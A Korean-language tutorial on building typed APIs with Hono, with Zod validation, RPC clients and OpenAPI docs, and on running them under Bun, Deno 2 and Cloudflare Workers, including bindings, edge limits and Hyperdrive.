Express 의 전역 타입 확장과 res.on("finish") 가 둘 다 사라집니다.검증 · RPC · OpenAPI — 타입을 프런트까지
Express + Zod 로도 서버 안쪽은 타입이 맞았습니다. 하지만 프런트가 부를 때는
주소 문자열과 as 캐스팅으로 돌아갔습니다.
Hono 는 라우트 정의 그 자체를 타입으로 내보내 그 마지막 구멍을 막습니다.
as 로 캐스팅하던 자리”가 통째로 사라집니다.요청 검증 — @hono/zod-validator
npm i zod @hono/zod-validatorimport { z } from "zod";
import { zValidator } from "@hono/zod-validator";
const CreatePost = z.object({
title: z.string().min(1).max(120),
body: z.string().min(1),
tags: z.array(z.string()).max(5).default([]),
});
const ListQuery = z.object({
page: z.coerce.number().int().min(1).default(1), // "2" → 2
size: z.coerce.number().int().min(1).max(100).default(20),
});
app.post("/posts", zValidator("json", CreatePost), async (c) => {
const dto = c.req.valid("json"); // ★ 검증·변환이 끝난 값 (타입 붙음)
return c.json(await create(dto), 201);
});
app.get("/posts", zValidator("query", ListQuery), async (c) => {
const { page, size } = c.req.valid("query"); // number 로 들어옵니다
return c.json(await list(page, size));
});
// 검증할 수 있는 자리: "json" | "form" | "query" | "param" | "header" | "cookie"
app.get("/posts/:id",
zValidator("param", z.object({ id: z.coerce.number().int() })),
(c) => c.json({ id: c.req.valid("param").id }));
req.body 를 덮어써서 검증 결과를 넘겼습니다.
Hono 는 c.req.valid("json") 이라는 별도 통로로 줍니다.
원본을 안 건드리므로 타입이 정확하고 뒤늦게 헷갈릴 일이 없습니다.
실패했을 때 응답 모양 통일하기
// 기본값은 { success: false, error: ZodError } 를 400 으로 돌려줍니다.
// 팀 규칙에 맞추려면 세 번째 인자(hook)를 씁니다 ★
const jsonV = <T extends z.ZodTypeAny>(schema: T) =>
zValidator("json", schema, (result, c) => {
if (!result.success) {
return c.json({
code: "VALIDATION_ERROR",
message: "입력값이 올바르지 않습니다",
errors: result.error.issues.map((i) => ({
field: i.path.join("."),
message: i.message,
})),
}, 400);
}
});
app.post("/posts", jsonV(CreatePost), handler);
// 응답도 검증하고 싶다면 — 비밀번호 해시 유출 사고를 막습니다
const PublicUser = z.object({ id: z.string(), name: z.string() });
app.get("/me", (c) => c.json(PublicUser.parse(c.get("user"))));
{ "role": "admin" } 을 끼워 넣어도
스키마에 없으면 통과하지 못합니다(Mass Assignment 방어).
이 성질을 믿고 DB 에 c.req.valid() 결과만 넘기세요.
RPC — 프런트가 서버 타입을 그대로 씁니다 🟡 중급
서버 — 라우트를 이어 붙여 내보냅니다
// src/routes/posts.ts
import { Hono } from "hono";
import { zValidator } from "@hono/zod-validator";
// ★ RPC 는 "체이닝된 결과"의 타입을 씁니다 — 따로따로 쓰면 타입이 안 모입니다
const posts = new Hono()
.get("/", zValidator("query", ListQuery), async (c) => {
const { page, size } = c.req.valid("query");
return c.json({ items: await list(page, size), page });
})
.post("/", zValidator("json", CreatePost), async (c) => {
return c.json(await create(c.req.valid("json")), 201);
})
.get("/:id", async (c) => {
const p = await find(c.req.param("id"));
if (!p) return c.json({ message: "없습니다" }, 404);
return c.json(p);
});
export default posts;
// src/index.ts
const routes = app.route("/api/posts", posts);
export type AppType = typeof routes; // ★ 이 한 줄이 계약서입니다
export default app;
posts.get(...); posts.post(...); 처럼 따로 쓰면
typeof posts 에 마지막 것만 남습니다.
반드시 .get().post().get() 으로 이어서 쓰세요.
프런트 — hc 하나면 끝
// packages/web/src/api.ts
import { hc } from "hono/client";
import type { AppType } from "@my/api"; // ★ 타입만 import (런타임 0)
export const api = hc<AppType>("https://api.example.com", {
headers: () => ({ authorization: `Bearer ${getToken()}` }),
});
// 호출 — 경로가 객체 속성이 됩니다
const res = await api.api.posts.$post({
json: { title: "안녕", body: "본문" }, // ✅ 스키마와 다르면 컴파일 에러
});
if (res.ok) {
const created = await res.json(); // ✅ 타입 추론됨
}
// 경로 변수
const one = await api.api.posts[":id"].$get({ param: { id: "3" } });
// 쿼리
const listed = await api.api.posts.$get({ query: { page: "2", size: "20" } });
// 요청·응답 타입을 따로 꺼내 쓰기 (폼 타입 등에)
import type { InferRequestType, InferResponseType } from "hono/client";
type CreateReq = InferRequestType<typeof api.api.posts.$post>["json"];
type PostList = InferResponseType<typeof api.api.posts.$get>;
// URL 만 필요할 때 (React Query key 등)
const url = api.api.posts.$url({ query: { page: "1" } }).toString();
d.ts 로 뽑아 사내 레지스트리에 올리면 됩니다.
다만 같은 저장소에 두는 편이 압도적으로 편합니다
(🧰 도구 탭의 모노레포 절).
실무에선 이렇게 — OpenAPI 문서 자동 생성 🔴 실무
@hono/zod-openapi — 스키마 하나로 셋을
npm i @hono/zod-openapi @scalar/hono-api-referenceimport { OpenAPIHono, createRoute, z } from "@hono/zod-openapi";
import { Scalar } from "@scalar/hono-api-reference";
const PostSchema = z.object({
id: z.string().openapi({ example: "p_01" }),
title: z.string().openapi({ example: "첫 글" }),
}).openapi("Post"); // ★ 문서에 나올 모델 이름
const getPost = createRoute({
method: "get",
path: "/posts/{id}",
summary: "글 하나 가져오기",
tags: ["posts"],
request: {
params: z.object({ id: z.string().openapi({ param: { name: "id", in: "path" } }) }),
},
responses: {
200: { content: { "application/json": { schema: PostSchema } }, description: "성공" },
404: { description: "없음" },
},
});
const app = new OpenAPIHono();
app.openapi(getPost, async (c) => { // ★ 핸들러 타입이 스키마와 묶입니다
const { id } = c.req.valid("param");
const p = await find(id);
if (!p) return c.json({ message: "없음" }, 404);
return c.json(p, 200); // ❌ 스키마와 다르면 컴파일 에러
});
app.doc("/openapi.json", { openapi: "3.1.0",
info: { title: "My API", version: "1.0.0" } });
app.get("/docs", Scalar({ url: "/openapi.json" })); // 문서 화면
셋 중 무엇을 고르나
| 쓰는 곳 | 고를 것 |
|---|---|
| 우리 프런트만 부름 | RPC (hc) — 가장 가볍고 빠름 |
| 외부 팀·파트너가 부름 | zod-openapi — 문서가 계약서 |
| 둘 다 | zod-openapi + hc 병행 (가능합니다) |
| 모바일 앱도 부름 | OpenAPI → 각 언어 코드 생성 |
| 서버가 Node 고정 | tRPC 도 후보 (생태계가 큼) |
// 보안 스키마도 문서에 넣어야 "Try it" 이 동작합니다
app.openAPIRegistry.registerComponent("securitySchemes", "bearer", {
type: "http", scheme: "bearer", bearerFormat: "JWT",
});
// 라우트마다 security 를 걸어 둡니다
const secured = createRoute({
method: "post", path: "/posts",
security: [{ bearer: [] }],
request: { body: { content: { "application/json": { schema: CreatePost } } } },
responses: { 201: { description: "생성됨" } },
});
AppType 을 내보내고,
프런트에서 hc 를 여러 개 만드세요.
한 덩어리로 두면 tsc 시간이 몇 배가 됩니다.
Bun — 런타임 하나가 도구 다섯을 대신합니다
Bun 은 “빠른 Node” 가 아니라 Node + 패키지 매니저 + 테스트 러너 + 번들러 + 파일 감시기 를 실행 파일 하나에 합친 물건입니다. 엔진도 V8 이 아니라 JavaScriptCore(사파리의 엔진)입니다. 그래서 “빨라졌다”보다 “설치할 게 없어졌다”가 체감이 큽니다.
설치하고 바로 써 보기
# macOS · Linux · WSL
curl -fsSL https://bun.sh/install | bash
# Windows (PowerShell) — WSL 없이도 됩니다
powershell -c "irm bun.sh/install.ps1 | iex"
# 이미 Node 가 있다면 npm 으로도
npm i -g bun
bun --version # 1.x
# ① 실행 — .ts 를 그대로 (tsx 불필요)
bun run src/index.ts
bun src/index.ts # run 도 생략 가능
bun --hot src/index.ts # 저장하면 프로세스를 안 죽이고 갈아 끼웁니다 ★
# ② 설치 — package.json 을 그대로 읽습니다 (lockfile 은 bun.lock)
bun install
bun add hono
bun add -d @types/node
bun install --frozen-lockfile # CI 에서
# ③ 스크립트 — package.json 의 scripts
bun run dev
# ④ 일회성 실행 (npx 자리)
bunx prisma migrate dev
bun --hot 과 nodemon 의 차이 —
nodemon 은 프로세스를 죽이고 다시 띄웁니다(연결이 끊기고 상태가 날아감).
--hot 은 같은 프로세스 안에서 모듈만 교체합니다.
서버 개발에서 이게 은근히 크게 다릅니다.
테스트 · 번들 · 단일 실행 파일
# ⑤ 테스트 — Jest 문법 그대로, 설정 파일 없이
bun test
bun test --watch
bun test --coverage
bun test src/user # 경로 필터
# ⑥ 번들 — esbuild 자리
bun build src/index.ts --outdir dist --target node --minify
bun build src/index.ts --outdir dist --target browser
# ⑦ 단일 실행 파일 — 런타임까지 통째로 담습니다 ★
bun build src/cli.ts --compile --outfile mytool
./mytool # Bun 이 안 깔린 machine 에서도 실행됩니다
bun build src/cli.ts --compile --target=bun-linux-x64 --outfile mytool-linux
// 테스트는 Jest·Vitest 와 같은 모양입니다
import { describe, it, expect, beforeAll } from "bun:test";
describe("계산", () => {
it("더합니다", () => {
expect(1 + 1).toBe(2);
});
});
--compile 의 파일 크기 — 런타임을 통째로 담으므로
결과물이 수십 MB 입니다. CLI 도구 배포에는 훌륭하지만
도커 이미지를 줄이려는 목적이라면 오히려 손해입니다(g12).
Bun 전용 API — 있으면 편한 것들 🟡 중급
서버 · 파일 · SQLite
// ① Bun.serve — 표준 fetch 모델 (그래서 Hono 가 그대로 얹힙니다)
import { Hono } from "hono";
const app = new Hono();
app.get("/", (c) => c.text("hi"));
export default { port: 3000, fetch: app.fetch };
// $ bun src/index.ts
// ② Bun.file — 지연 읽기. 실제로 읽기 전에는 디스크를 안 건드립니다
const f = Bun.file("./data/big.json");
if (await f.exists()) {
const json = await f.json(); // .text() .arrayBuffer() .stream()
}
await Bun.write("./out.txt", "내용"); // 문자열·Blob·Response 전부 받습니다
await Bun.write("./copy.json", Bun.file("./data/big.json")); // 복사
// ③ bun:sqlite — 내장 SQLite (better-sqlite3 자리, 설치 불필요)
import { Database } from "bun:sqlite";
const db = new Database("app.db", { create: true });
db.run(`CREATE TABLE IF NOT EXISTS todo(
id INTEGER PRIMARY KEY, title TEXT, done INTEGER DEFAULT 0)`);
const insert = db.prepare("INSERT INTO todo (title) VALUES (?)");
insert.run("장보기");
const rows = db.query("SELECT * FROM todo WHERE done = ?").all(0);
// ④ 비밀번호 해시 — bcrypt 설치 없이
const hash = await Bun.password.hash("비밀번호"); // argon2id 기본
const ok = await Bun.password.verify("비밀번호", hash);
셸 · 환경변수 · 워커
// ⑤ Bun.$ — 크로스 플랫폼 셸 (zx 자리)
import { $ } from "bun";
const out = await $`git rev-parse --short HEAD`.text();
await $`mkdir -p dist && cp README.md dist/`;
const { exitCode } = await $`npm run lint`.nothrow();
// ⑥ .env 를 자동으로 읽습니다 (dotenv 불필요)
// .env → .env.$NODE_ENV → .env.local 순으로 겹쳐 읽습니다 (뒤가 이김)
const url = Bun.env.DATABASE_URL ?? process.env.DATABASE_URL;
// ⑦ 워커 — CPU 작업 분리 (Node 의 worker_threads 자리)
const w = new Worker(new URL("./heavy.ts", import.meta.url).href);
w.postMessage({ n: 40 });
w.onmessage = (e) => console.log(e.data);
// ⑧ 내장 SQL 클라이언트 (Postgres)
import { sql } from "bun";
const rows = await sql`SELECT id, title FROM posts WHERE id = ${id}`;
Bun.file 대신 node:fs/promises,
Bun.$ 대신 node:child_process 를 쓰면
Node 로 되돌아갈 여지가 남습니다.
이식성이 중요하면 표준 API 우선, 속도가 급하면 전용 API 를 쓰세요.
실무에선 이렇게 — 어디까지 믿고 쓰나 🔴 실무
Node 호환 — 되는 것과 조심할 것
| 영역 | 상태 |
|---|---|
node:fs·path·url | 사실상 문제없음 |
node:http 서버 | 동작 — Express 도 돕니다 |
node:crypto | 대부분 동작 |
worker_threads | 동작 (일부 옵션 차이) |
| 네이티브 애드온(N-API) | 패키지마다 다름 — 확인 필요 |
v8·vm·인스펙터 | 엔진이 달라 제약 |
| 프로파일링·힙 스냅샷 | Node 도구 대부분 못 씁니다 |
| APM 에이전트 | 미지원이 많습니다 ★ |
단계적으로 들이는 순서 ★
| 단계 | 바꾸는 것 | 위험 |
|---|---|---|
| 1 | CI 의 npm ci → bun install | 거의 없음 |
| 2 | 테스트를 bun test 로 | 낮음 |
| 3 | 로컬 개발 서버만 bun --hot | 낮음 |
| 4 | 사내 도구·배치를 Bun 으로 | 중간 |
| 5 | 외부 서비스 런타임을 Bun 으로 | 높음 |
# 단계 1 만 해도 CI 시간이 눈에 띄게 줄어듭니다
# .github/workflows/ci.yml
- uses: oven-sh/setup-bun@v2
with: { bun-version: latest }
- run: bun install --frozen-lockfile
- run: bun test
- run: bun run build # 배포는 여전히 node 로 해도 됩니다
# 런타임까지 옮길 때는 반드시 부하 테스트를 먼저
bunx autocannon -c 100 -d 30 http://localhost:3000/api/posts
bun install · bun test · bun --hot · bun build --compile
네 개만 써도 프로젝트가 가벼워집니다.
Bun.serve 가 표준 fetch 모델이라 Hono 코드가 그대로 얹히고,
운영 도입은 CI → 로컬 → 사내 도구 → 외부 서비스 순서로 올리는 것이 안전합니다.Deno 2 — 기본값이 “아무것도 못 함”
Node 는 node a.js 를 치는 순간 그 스크립트가 내 홈 디렉터리를 읽고 어디로든 전송할 수 있었습니다.
Deno 는 문을 하나씩 열어 줘야 움직입니다.
그리고 2 부터는 npm: 지정자로 기존 패키지를 거의 그대로 쓸 수 있습니다.
설치와 권한 플래그
# 설치
curl -fsSL https://deno.land/install.sh | sh # macOS · Linux
irm https://deno.land/install.ps1 | iex # Windows
deno --version
# 권한 없이 실행하면 거부됩니다 (터미널이면 y/n 을 묻고, CI 처럼 비대화형이면 바로 에러)
deno run server.ts
# error: Requires net access to "0.0.0.0:8000",
# run again with the --allow-net flag
# 필요한 것만 열어 줍니다 ★ 범위를 좁힐 수 있습니다
deno run --allow-net=0.0.0.0:8000 server.ts # 이 주소·포트만
deno run --allow-net=api.example.com app.ts # 이 호스트만
deno run --allow-read=./data --allow-write=./tmp app.ts
deno run --allow-env=DATABASE_URL,JWT_SECRET app.ts
# 전부 열기 — 편하지만 의미가 사라집니다
deno run -A app.ts
# 반대로 "이것만 막기"
deno run -A --deny-write --deny-run app.ts
# 남이 만든 스크립트를 처음 돌릴 때는 물어보게 두세요
deno run --allow-net server.ts # 나머지는 실행 중에 y/n 으로 물어봅니다
npx 로 처음 보는 CLI 를 돌릴 때입니다.
Node 에서는 그 도구가 내 SSH 키를 읽어 어디로 보내도 막을 방법이 없었습니다.
Deno 는 --allow-read=. 만 주면 현재 폴더 밖으로 못 나갑니다.
deno.json — 설정을 한 파일에
{
"tasks": {
"dev": "deno run --watch --allow-net --allow-env src/main.ts",
"start": "deno run --allow-net --allow-env src/main.ts",
"test": "deno test --allow-net"
},
"imports": {
"hono": "npm:hono@^4",
"@hono/zod-validator": "npm:@hono/zod-validator@^0.7",
"zod": "npm:zod@^4",
"@std/assert": "jsr:@std/assert@^1"
},
"compilerOptions": { "strict": true, "jsx": "precompile" },
"fmt": { "lineWidth": 100, "singleQuote": false },
"lint": { "rules": { "tags": ["recommended"] } },
"exclude": ["dist", "coverage"]
}
deno task dev # package.json 의 scripts 자리
deno install # package.json 이 있으면 node_modules 도 만들어 줍니다
deno add npm:hono # 의존성 추가 (deno.json 의 imports 에 기록)
deno add jsr:@std/http
import { serve } from "https://deno.land/std/http/server.ts" 방식은
버전 고정이 어려워 실무에서 문제가 많았습니다.
2 에서는 imports 맵 + npm:·jsr: 가 정답입니다.
내장 도구 — 설치할 것이 없습니다 🟡 중급
한 벌로 다 됩니다
deno fmt # prettier 자리 (설정 없이)
deno fmt --check # CI 에서
deno lint # eslint 자리
deno check src/main.ts # tsc --noEmit 자리 (타입만 검사)
deno test --allow-net # 테스트 러너
deno test --coverage=cov && deno coverage cov --html
deno bench # 벤치마크 러너 ★ 내장입니다
deno doc src/mod.ts # API 문서 추출
deno compile --allow-net --output myserver src/main.ts # 단일 실행 파일
deno compile --target x86_64-unknown-linux-gnu \
--allow-net --output myserver-linux src/main.ts
# ★ 권한 플래그가 실행 파일에 구워집니다 — 받은 사람이 못 늘립니다
deno outdated --update # 의존성 갱신
deno publish # JSR 에 배포
// 테스트 — 설정 파일이 없습니다
import { assertEquals } from "@std/assert";
import { app } from "./app.ts";
Deno.test("헬스체크", async () => {
const res = await app.request("/health"); // ★ Hono 의 테스트 방식 (g11)
assertEquals(res.status, 200);
assertEquals(await res.json(), { ok: true });
});
// 벤치마크
Deno.bench("라우팅", async () => { await app.request("/users/1"); });
Deno KV — DB 없이 시작하기
// 내장 키·값 저장소. 로컬은 SQLite, Deno Deploy 에서는 분산 저장소가 됩니다
const kv = await Deno.openKv();
// 키는 배열입니다 — 계층을 표현합니다
await kv.set(["user", "u_01"], { name: "지민", role: "admin" });
const { value } = await kv.get<User>(["user", "u_01"]);
// 접두사로 훑기
for await (const e of kv.list({ prefix: ["user"] })) console.log(e.key, e.value);
// 만료 시간 (캐시로 쓸 때)
await kv.set(["cache", url], html, { expireIn: 60_000 });
// ★ 원자적 갱신 — 낙관적 잠금(값이 그대로일 때만 씁니다)
const cur = await kv.get<number>(["count"]);
const res = await kv.atomic()
.check(cur) // 그 사이 안 바뀌었으면
.set(["count"], (cur.value ?? 0) + 1)
.commit();
if (!res.ok) { /* 누가 먼저 바꿨습니다 — 다시 시도 */ }
// 카운터는 전용 타입이 더 낫습니다 (충돌 없이 더해집니다)
await kv.atomic().sum(["hits", "/about"], 1n).commit();
// 큐도 내장 — 지연 실행·재시도까지
await kv.enqueue({ type: "email", to: "a@b.c" }, { delay: 5_000 });
kv.listenQueue(async (msg) => { await send(msg); });
실무에선 이렇게 — Hono 를 Deno 에 올리기 🔴 실무
서버 한 파일
// src/main.ts
import { Hono } from "hono";
import { logger } from "hono/logger";
import { serveStatic } from "hono/deno"; // ★ Deno 전용 어댑터
const app = new Hono();
app.use(logger());
app.use("/static/*", serveStatic({ root: "./public" }));
const kv = await Deno.openKv();
app.get("/hits", async (c) => {
const r = await kv.get<Deno.KvU64>(["hits"]); // sum() 으로 쌓은 값은 KvU64
return c.json({ hits: Number(r.value?.value ?? 0n) });
});
app.post("/hits", async (c) => {
await kv.atomic().sum(["hits"], 1n).commit();
return c.body(null, 204);
});
Deno.serve({ port: 8000 }, app.fetch); // ★ 이 한 줄이 전부
deno run --allow-net --allow-read --unstable-kv src/main.ts
# Deno Deploy 에 올리면 KV 가 자동으로 분산 저장소가 됩니다 (g12)
Node · Bun 과 무엇이 다른가
| Node | Bun | Deno 2 | |
|---|---|---|---|
| TS 실행 | 기본 지원 | 기본 | 기본 |
| 기본 권한 | 전부 허용 | 전부 허용 | 전부 차단 |
| 포맷·린트 | 따로 설치 | 따로 | 내장 |
| 벤치마크 | 따로 | bun bench 없음 | 내장 |
| 단일 실행 파일 | SEA(번거로움) | --compile | compile |
| 내장 KV | 없음 | SQLite | Deno KV |
| 패키지 | npm | npm | npm + JSR |
| 표준 라이브러리 | node: 모듈 | node: 호환 | @std/* 별도 |
--allow-net 같은 플래그가 “이 프로그램이 무엇을 하는지”를 실행 명령에 적어 두는 문서가 되고,
fmt · lint · test · bench · compile 이 전부 들어 있어 설정 파일이 거의 안 생깁니다.
npm: 지정자 덕에 기존 패키지도 대부분 그대로 쓰이며, Hono 는 Deno.serve(app.fetch) 한 줄로 얹힙니다.Cloudflare Workers — 컨테이너가 없는 서버
Workers 는 “아주 빠른 서버리스”가 아니라 구조가 다른 물건입니다. 컨테이너도 프로세스도 만들지 않고 이미 떠 있는 V8 안에 격리 공간(아이솔레이트)만 만듭니다. 그래서 콜드 스타트가 사라지는 대신 파일 시스템과 긴 실행 시간을 잃습니다.
wrangler — 만들고 돌리고 올리기
npm i -D wrangler # 전역 설치보다 프로젝트에 두는 쪽을 권합니다
npx wrangler login # 브라우저가 열립니다
# Hono 템플릿으로 시작
npm create hono@latest my-api # → cloudflare-workers 선택
npx wrangler dev # 로컬 (실제 워커 엔진 workerd 로 돕니다)
npx wrangler dev --remote # 실제 엣지에서 실행 (진짜 바인딩을 씁니다)
npx wrangler deploy # 배포 — 보통 몇 초
npx wrangler tail # 운영 로그를 실시간으로 봅니다 ★
npx wrangler versions upload && npx wrangler versions deploy # 점진 배포
# 시크릿 (코드·설정 파일에 넣지 않습니다)
npx wrangler secret put JWT_SECRET
npx wrangler secret list
// wrangler.jsonc
{
"name": "my-api",
"main": "src/index.ts",
"compatibility_date": "2026-08-01",
"compatibility_flags": ["nodejs_compat"],
"observability": { "enabled": true },
"vars": { "APP_ENV": "production" },
"kv_namespaces": [{ "binding": "KV", "id": "..." }],
"d1_databases": [{ "binding": "DB", "database_name": "app",
"database_id": "..." }],
"r2_buckets": [{ "binding": "BUCKET", "bucket_name": "uploads" }],
"queues": { "producers": [{ "binding": "JOBS", "queue": "jobs" }] }
}
compatibility_date 를 반드시 적으세요.
Workers 는 이 날짜로 런타임 동작을 고정합니다.
안 적거나 너무 옛날로 두면 새 API 가 없거나 옛 버그 동작이 유지됩니다.
올릴 때는 wrangler dev 로 확인 후 날짜를 올리세요.
아이솔레이트가 컨테이너와 다른 점
| 컨테이너 | 아이솔레이트 | |
|---|---|---|
| 격리 단위 | OS 프로세스 | V8 힙 |
| 시작 비용 | 수백 ms | ~5ms |
| 메모리 | 수백 MB | 128MB 기준 |
| CPU 시간 | 제한 없음 | 요청당 상한 |
| 파일 시스템 | 있음 | 없음 |
| 포트 열기 | 가능 | 불가 |
| 같이 도는 것 | 내 코드만 | 남의 코드와 같은 프로세스 |
| 배포 단위 | 이미지(수백 MB) | 번들 몇 MB |
eval·new Function 같은 동적 코드 실행이 막혀 있습니다.
바인딩 — 엣지에서 상태를 두는 자리 🟡 중급
여섯 가지와 쓰임
| 바인딩 | 정체 · 쓸 곳 |
|---|---|
| KV | 전 세계에 복제되는 키·값. 읽기 압도적으로 빠름, 쓰기는 전파에 시간이 걸림 → 설정 · 캐시 · 세션 |
| D1 | SQLite 기반 관계형 DB. SQL 그대로 → 보통의 앱 데이터 |
| R2 | S3 호환 객체 저장소. 전송 요금 없음 → 파일 · 이미지 |
| Durable Objects | 키마다 인스턴스 하나가 보장되는 상태 객체 → 채팅방 · 협업 · 순번 · WebSocket 허브 |
| Queues | 비동기 작업 큐 → 메일 발송 · 후처리 |
| Service | 다른 Worker 를 네트워크 없이 직접 호출 |
# 바인딩 타입을 자동 생성합니다 ★ 손으로 적지 마세요
npx wrangler types
# → worker-configuration.d.ts 에 Env 인터페이스가 생깁니다
코드에서 쓰기 — c.env
import { Hono } from "hono";
type Env = {
KV: KVNamespace;
DB: D1Database;
BUCKET: R2Bucket;
JOBS: Queue<{ type: string; id: string }>;
JWT_SECRET: string; // wrangler secret put 으로 넣은 값
};
const app = new Hono<{ Bindings: Env }>();
app.get("/config", async (c) => {
const v = await c.env.KV.get("feature-flags", "json"); // KV 읽기
return c.json(v);
});
app.get("/posts", async (c) => {
const { results } = await c.env.DB
.prepare("SELECT id, title FROM posts WHERE published = ?1 LIMIT 20")
.bind(1).all(); // D1 (SQL)
return c.json(results);
});
app.put("/upload/:key", async (c) => {
await c.env.BUCKET.put(c.req.param("key"), c.req.raw.body); // R2 (스트리밍)
return c.body(null, 204);
});
app.post("/orders", async (c) => {
const order = await save(c);
// ★ 응답을 막지 않고 뒤에서 끝내기 — Express 에는 없던 개념
c.executionCtx.waitUntil(c.env.JOBS.send({ type: "email", id: order.id }));
return c.json(order, 201);
});
waitUntil 을 안 쓰면 뒷작업이 잘립니다.
아이솔레이트는 응답을 보낸 순간 정리 대상이 됩니다.
Express 라면 res.json() 뒤에 await sendMail() 을 그냥 둬도 됐지만,
여기서는 waitUntil 에 넣지 않으면 실행이 중단됩니다.
실무에선 이렇게 — 제약을 먼저 확인하세요 🔴 실무
쓸 수 없는 것 · 대체품
| Node 에서 하던 것 | 엣지에서는 |
|---|---|
fs.readFile | 정적 자산 바인딩 · R2 |
child_process | 불가 — 별도 서비스로 |
| TCP 로 Postgres 직결 | HTTP 드라이버 · Hyperdrive (g08) |
setInterval 상주 | Cron Trigger |
메모리 캐시 Map | KV · Cache API |
| 인메모리 세션 | KV · 쿠키(JWT) |
| sharp 이미지 변환 | Images 서비스 · 별도 워커 |
crypto (Node 판) | WebCrypto (crypto.subtle) |
// 정기 실행 — Express 의 node-cron 자리
// wrangler.jsonc: "triggers": { "crons": ["0 * * * *"] }
export default {
fetch: app.fetch,
async scheduled(event: ScheduledController, env: Env, ctx: ExecutionContext) {
ctx.waitUntil(cleanupExpired(env));
},
};
로컬 개발 — 어디까지 진짜인가
# ① 기본 — 로컬에서 workerd(실제 엔진)로 돕니다
npx wrangler dev
# KV · D1 · R2 는 로컬 파일로 흉내 냅니다 (.wrangler/state)
# → 데이터는 내 컴퓨터에만 있습니다
# ② 진짜 바인딩으로 (운영 데이터를 건드리니 주의)
npx wrangler dev --remote
# ③ 로컬 D1 에 스키마·시드 넣기
npx wrangler d1 execute app --local --file=./schema.sql
npx wrangler d1 execute app --local --command="SELECT * FROM posts"
# ④ 로컬 KV 넣기
npx wrangler kv key put --binding KV --local "hello" "world"
// Vitest 로 워커를 테스트 (실제 workerd 위에서 돕니다) — g11 에서 이어집니다
// vitest.config.ts
import { defineWorkersConfig } from "@cloudflare/vitest-pool-workers/config";
export default defineWorkersConfig({
test: { poolOptions: { workers: { wrangler: { configPath: "./wrangler.jsonc" } } } },
});
wrangler dev 는 실제 엔진을 쓰므로 Node 전용 API 를 쓰면
로컬에서도 똑같이 실패합니다. 이게 큰 장점입니다.
차이가 나는 곳은 주로 바인딩 데이터와 CPU 시간 상한이니
배포 전 --remote 로 한 번은 돌려 보세요.
wrangler dev · wrangler deploy · wrangler tail 세 명령이면 운영이 되고,
상태는 전부 바인딩(c.env)으로 밖에 둡니다.
잃는 것은 파일 시스템 · 긴 실행 · TCP 직결이고,
그 셋을 어떻게 메우는지가 다음 두 절(g08 · g09)입니다.엣지의 제약과 설계 — 잃은 것을 어떻게 메우나
엣지에 올리자마자 겪는 문제는 대개 셋입니다 — 파일이 없다 · DB 에 못 붙는다 · 서버는 가까운데 응답이 더 느리다. 셋 다 원인이 분명하고 해법도 정해져 있습니다.
① 실행 시간 — “CPU 시간”이 기준입니다
흔한 오해 : "10초 제한이면 DB 가 3초 걸리는 쿼리는 못 쓰겠네"
사실 : 제한은 대개 'CPU 를 실제로 쓴 시간' 입니다.
fetch · DB 응답을 기다리는 동안은 CPU 를 안 씁니다.
┌─ 요청 시작
│ 0.4ms 요청 파싱 · 라우팅 ← CPU 사용
│ 3200ms DB 응답 대기 ← CPU 안 씀 (계산 안 됨)
│ 1.1ms JSON 만들기 ← CPU 사용
└─ 응답 CPU 합계 1.5ms
★ 그래서 걸리는 것은 '오래 기다리는 작업'이 아니라
'오래 계산하는 작업' 입니다.
· 큰 JSON 파싱 · 정렬 · 암호화 반복
· 이미지 리사이즈 · PDF 렌더
· 수만 건 루프 돌며 집계
→ 이런 것은 Queue 로 넘기거나 컨테이너 서비스로 분리하세요.
await res.arrayBuffer() 로 큰 파일을 통째로 올리면 바로 넘칩니다.
스트리밍으로 흘려보내는 습관이 필수입니다(g10).
② 파일 시스템이 없다
// ❌ 엣지에서 통째로 안 되는 패턴들
import fs from "node:fs";
const tpl = fs.readFileSync("./templates/mail.html", "utf8"); // 없음
const tmp = "/tmp/upload.bin"; // 없음
await sharp(buf).resize(400).toFile("/tmp/thumb.jpg"); // 없음
// ✅ ㉠ 빌드 때 코드 안으로 넣기 (작은 텍스트·설정)
import tpl from "./templates/mail.html"; // 번들러가 문자열로 심습니다
// ✅ ㉡ 정적 자산 바인딩 (Workers Assets)
const res = await c.env.ASSETS.fetch(new URL("/logo.svg", c.req.url));
// ✅ ㉢ 객체 저장소 — 진짜 파일은 여기로 (R2 · S3)
await c.env.BUCKET.put(key, c.req.raw.body, {
httpMetadata: { contentType: c.req.header("content-type") ?? "" },
});
const obj = await c.env.BUCKET.get(key);
if (!obj) return c.notFound();
return new Response(obj.body, { headers: { etag: obj.httpEtag } });
// ✅ ㉣ 업로드는 아예 서버를 거치지 않기 (사전 서명 URL)
// 브라우저 → R2/S3 직접 업로드. 워커는 URL 만 발급합니다.
③ 커넥션 풀 — 엣지에서 가장 크게 걸리는 벽 🔴 실무
Hyperdrive — 기존 Postgres 를 그대로 쓰기
# 이미 운영 중인 Postgres(AWS RDS·GCP 등)를 엣지에서 쓰고 싶을 때
npx wrangler hyperdrive create my-db \
--connection-string="postgres://user:pw@host:5432/app"
# wrangler.jsonc
# "hyperdrive": [{ "binding": "HYPERDRIVE", "id": "..." }]
import postgres from "postgres";
app.get("/posts", async (c) => {
// ★ 연결 문자열만 Hyperdrive 것으로 바꾸면 됩니다
const sql = postgres(c.env.HYPERDRIVE.connectionString, {
max: 5, fetch_types: false, // 엣지에서는 작게
});
const rows = await sql`SELECT id, title FROM posts LIMIT 20`;
c.executionCtx.waitUntil(sql.end()); // ★ 응답 뒤에 정리
return c.json(rows);
});
Smart Placement — 코드를 데이터 옆으로
// wrangler.jsonc — 한 줄이면 켜집니다
{
"placement": { "mode": "smart" }
}
[기본 배치] 사용자에게 가장 가까운 도시에서 실행
서울 사용자 → 서울 워커 → (180ms×4) → 버지니아 DB = 느림
[스마트 배치] 백엔드 왕복이 많은 워커를 자동으로 DB 근처로 옮김
서울 사용자 → (180ms×1) → 버지니아 워커 → (1ms×4) DB = 빠름
★ 언제 켜나
· 요청 하나에 백엔드 호출이 여러 번인 워커 (BFF · 관리자 API)
★ 언제 끄나
· 캐시·리다이렉트·정적 응답처럼 백엔드를 거의 안 부르는 워커
(사용자 옆에 있는 게 이득)
번들 크기 = 콜드 스타트
# 배포할 때 크기를 알려 줍니다. 커지면 스냅샷 복원이 느려집니다
npx wrangler deploy --dry-run --outdir dist
du -h dist/index.js
# 줄이는 법
# · AWS SDK 전체 대신 필요한 클라이언트만 (@aws-sdk/client-s3)
# · moment → 표준 Intl · Temporal
# · lodash 전체 → lodash-es 의 개별 함수
# · 무거운 경로는 await import() 로 지연 (g03)
fetch·바인딩 호출 수에 상한이 있습니다.
